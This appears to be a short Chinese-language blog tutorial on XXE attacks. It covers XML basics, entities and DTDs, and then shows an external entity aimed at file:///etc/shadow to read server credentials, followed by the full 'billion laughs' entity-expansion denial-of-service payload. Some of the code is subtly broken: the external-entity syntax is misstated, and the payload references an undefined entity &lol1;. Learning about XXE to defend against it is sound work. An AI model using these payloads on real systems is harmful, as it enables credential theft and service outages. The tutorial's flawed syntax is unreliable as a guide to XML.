0%

XXE攻击入门

XXE(XML External Entity attack), 简单来说, xxe是由于服务器的xml解析器在对用户上传的xml文件进行解析时没有过滤危险操作而产生的.

XML?

 可以简单的认为xml和html很相似. html的文字内容被标签包裹, 浏览器来解析这些标签, 还原出文字的布局, 格式, 样式等信息. xml的数据内容也是被标签包裹, 不过xml从标签中还原出来的则是数据内容的索引.
举个例子:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

 上面的Tove字段被<to><note>标签包裹, 在被解析时就可以还原出来一个树形结构, note是根节点, 而最后的Tove字段就相当于叶子节点. 解析器通过重建一颗语法树来完成对任意数据的索引.
由此, 类似html可以很方便的传输文章布局等信息, xml可以方便的在网络中传输自定义格式的数据.

xml实体

 xml约定了各种标签规范, 如果<出现在xml元素中会产生一个报错: 解析器认为这是一个新的xml元素. 为了解决这个问题, xml引入了实体的概念. 类似于用预定义的变量名来代替会让xml解析器产生歧义的字符. 在本例中, <的对应实体是&lt;

DTD

 xml支持自定义实体, 就像编程语言中自定义变量一样. xml提供了DTD来支持自定义实体.
DTD应该有以下的固定格式

1
<!DOCTYPE NAME [element-declarations]>

这样, 就创建了一个NAME实体, 可以在数据中使用&NAME访问该实体的内容.

XXE

 DTD在定义的时候是可以使用外部数据的, 相信这本质是为了能够更方便的使用公共数据. 但是我们可以控制访问的外部数据, 再利用实体引用到文档中, 产生敏感数据泄露.
DTD的外部引用格式如下

1
<!DOCTYPE NAME SYSTEM "filename">

同样, 只要访问&NAME;实体就能得到filename的文件内容. 比如, 使filename=file:///etc/shadow就可以获取服务器的shadow文件内容.

DOS

xxe产生的危害不止敏感文件泄露, 还可以利用多重递归生成实体从而让服务器内存满载.
比如著名的billion laughs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE lolz [



<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>